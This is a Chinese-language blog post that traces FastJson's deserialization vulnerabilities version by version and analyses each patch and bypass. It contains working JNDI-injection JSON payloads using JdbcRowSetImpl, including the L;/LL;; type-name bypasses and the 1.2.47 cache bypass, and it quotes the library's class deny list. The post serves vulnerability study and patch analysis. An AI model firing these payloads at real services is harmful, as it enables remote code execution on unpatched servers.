FastJson全历史反序列化漏洞分析(保持更新)

基于时间线的方式分析FastJson反序列化漏洞。

FastJson反序列化漏洞时间线概览

  1. 2017年3月15日 FastJson官方主动爆出在1.2.24及之前版本存在远程代码执行高危安全漏洞(当时最新版:1.2.28)
  2. FastJson 1.2.25被绕过,影响版本1.2.25-1.2.41(当时最新版:1.2.41)
  3. FastJson 1.2.42进行了安全加固
  4. FastJson 1.2.42被绕过
  5. FastJson 1.2.43进行了安全加固
  6. FastJson 1.2.44进行了安全加固
  7. FastJson 1.2.45扩大检测黑名单
  8. FastJson 1.2.46扩大检测黑名单
  9. FastJson 1.2.47全版本通杀漏洞出现!!!
  10. FastJson 1.2.48进行了安全加固
  11. 未完待续。。。

前置知识

fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

创建一个名为Person的java类,重写toString方法,带有无参构造函数。并对当前Person类进行序列化和反序列化操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
public class Person {
private String name;
private String sex;
private int age;

public String getSex() {
return sex;
}

public Person() {
System.out.println("public Person construction");
}

public Person(String name, int age, String sex) {
this.name = name;
this.age = age;
this.sex = sex;
}

public String getName() {
System.out.println("pulic String getName");
return name;
}

public void setName(String name) {
System.out.println("public void setName");
this.name = name;
}
public int getAge() {
System.out.println("public int getAge");
return age;
}

public void setAge(int age) {
System.out.println("public void setAge");
this.age = age;
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", sex='" + sex + '\'' +
", age=" + age +
'}';
}

public static void main(String[] args) {
Person person = new Person("Lisa", 22, "女");
String jsonString = JSON.toJSONString(person);
String jsonString_type = JSON.toJSONString(person, SerializerFeature.WriteClassName);
System.out.println(jsonString);
System.out.println(jsonString_type);
Object newPerson = JSON.parse(jsonString_type);
System.out.println(newPerson);
}
}

输出结果如下:

image-20200420215724239

通过输出结果可以了解,FastJson对java对象进行序列化时会调用getter方法,反序列化时调用无参构造方法以及setter方法,上面sex变量并没有setter方法,因此反序列化时无法进行赋值。

当在序列化时加入SerializerFeature.WriteClassName配置会将当前序列化的类写入json字符串中。@type属性可指定需要反序列化的类,调用其getter,setter,is方法。可以再新建一个和Person类相同属性和相同方法的PersonTest类,修改@type的属性,测试是否可以指定需要反序列化的类。正因为这个属性,使得用户可通过@type参数控制反序列化的类,造成RCE。

时间线-1

具体参考:

1
2
https://github.com/alibaba/fastjson/wiki/security_update_20170315
https://github.com/alibaba/fastjson/wiki/security_update_20170315/3f4706e687876c6c55785d6f9bb362f4241f1929

image-20200419232107916

通过前置知识对FastJson序列化与反序列化的特点的分析,只需要找到危险的java类,在调用getter或者setter方法是执行恶意操作即可。

2017年4月29日基于TemplatesImpl类反序列化漏洞利用poc在网上流出(只能在1.2.22和1.2.24之间利用),该类的利用对版本的要求较大,具体可参考:

1
http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/

除此之外,JdbcRowSetImpl类也可执行RCE,查看该类的setAutoCommit方法:

image-20200428173716448

先判断是否进行了数据库连接,如果没有则会进入connect函数进行连接,跟进一下connect函数:

image-20200428173943091

此方法会对传入的dataSource进行lookup,由于反序列时dataSource变量可以控制,可利用jndi注入的方式进行利用。

payload:

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit",""autoCommit":true}

测试环境可参考vulhub上的靶机:

1
https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.24-rce

时间线-2

注意:在1.2.25之后的版本,以及所有的.sec01后缀版本中,默认启用白名单的方式。下面提到的利用方式大部分针对黑名单开启的情况。

根据官方给出的补丁文件,主要的更新在这个checkAutoType函数上,而这个函数的主要功能就是添加了黑名单,将一些常用的反序列化利用库都添加到黑名单中,黑名单如下:

1
private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");

checkAutoType部分函数如下(针对黑名单开启情况,autoTypeSupport=true):

image-20200501182851992

首先程序会去检测白名单,typeName在白名单中则直接加载,然后去做黑名单检测,在黑名单中则抛出异常。当typeName不在白名单并且黑名单为检测出异常时,程序会尝试加载此类:

image-20200501183229084

跟进loadClass函数

image-20200501183355980

发现如果typeName开头为L结尾为;会自动递归去除开头和结尾,因此利用此方法可绕过大部分黑名单的限制。

payload:

1
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

时间线-3

对1.2.42和1.2.41进行比较,主要进行了以下更新,之前的黑名单和白名单改为hash模式,增大了分析的难度,但仍可通过枚举爆破的方式获取,网上已有人做出了爆破,参考:

1
https://github.com/LeadroyaL/fastjson-blacklist

对比如下:

image-20200501185914604

接着对传入的typeName进行了逻辑上的修改,主要如下:

image-20200501191228107

提取className的第一个字符和最后一个字符,是否为L开头和;结尾,如果hash匹配相同则进行去除,然后再进行黑名单的判断。

时间线-4

根据上面的对比,代码只进行了一次检验,因此双写绕过第一次的检测,然后绕过黑名单检测,进而进入loadClass,防护也就没有了效果。

payload:

1
{"@type":"LLcom.sun.rowset.RowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

时间线-5

1.2.43的主要更新如下:

image-20200501192527205

如果className的开头为LL则直接发出异常。安全加固有效,可有效组织反序列化的攻击。

时间线-6

1.2.44的主要更新如下:

image-20200501224103898

将之前的判断逻辑进行了修改,如果className开头为L或者[则抛出异常,增加对[开头的检测是因为进行类加载时也会对[进行判断,存在则删除:

1
2
3
4
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}

实际操作中,带有[开头的类型是无法被java程序正常执行的,但仍然对其进行了限制。。

时间线-7

1.2.45没有什么太大的安全更新,只是对之前的黑名单进行了拓展。

时间线-8

1.2.46没有什么太大的安全更新,只是对之前的黑名单进行了拓展。

时间线-9

1.2.47版本,出现了最为严重的漏洞,前面分析的漏洞都是基于黑名单检测开启的情况,但大部分一般采用默认配置并不开启type解析,导致影响范围较为局限,在1.2.47版本爆出的漏洞,可以通杀1.2.47及之前所有版本,无论是否开启黑名单检测。

payload:

1
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:9999/Exploit","autoCommit":true}}}

主要问题还是出现在checkAutoType函数中,这里对1.2.47版本进行分析,函数如下,关键代码进行了注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
  public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
}
//对字符长度进行限制
if (typeName.length() >= 128 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}
//替换操作
String className = typeName.replace('$', '.');
Class<?> clazz = null;

final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;
//检测是否是[开头,是的话则抛出异常
final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}
//检测是否是L开头和;结尾,是的话则抛出异常
if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}

final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;
//是否开启名单检测,autoTypeSupport默认false
if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
//尝试从Mapping中通过类名获取该类
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
//尝试从反序列化器中通过类名获取该类
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
//如果获取到了该类,直接返回实例,不再向下进行
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
//前面clazz仍为空并且白名单开启情况进入if函数
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;
//类名在黑名单中直接抛出异常
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
//类名在白名单中加载该类
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}
//当上面检测仍无法获取clazz时,进入loadClass函数加载
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}

if (clazz != null) {
if (TypeUtils.getAnnotation(clazz,JSONType.class) != null) {
return clazz;
}

if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}

JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}

final int mask = Feature.SupportAutoType.mask;
boolean autoTypeSupport = this.autoTypeSupport
|| (features & mask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;

if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}

return clazz;
}

此方法的绕过思路大致为,首先传入java.lang.Class类通过设置val将com.sun.rowset.JdbcRowSetImp加载进map缓存,在第二次解析恶意类是,因为map缓存中存在了com.sun.rowset.JdbcRowSetImp

1
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null)

此if语句对恶意类的判读无效,因此无论是否开启autotype都不会抛出异常,并且在下面语句中从map缓存中取出该类:

image-20200502163643695

至于具体是如何通过class.lang.Class将恶意类加入缓存的,就不在这里详细分析了,具体可参考:

1
https://xz.aliyun.com/t/5680

实验环境:

1
https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce

时间线-10

在1.2.48版本,将map缓存关闭并将java.lang.Class加入了检测黑名单。

参考

1
2
3
https://www.freebuf.com/vuls/208339.html
https://p0sec.net/index.php/archives/123/
https://xz.aliyun.com/t/7027#toc-21
Author: Sys71m
Link: https://www.sys71m.top/2020/05/02/FastJson全历史反序列化漏洞分析(保持更新)/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.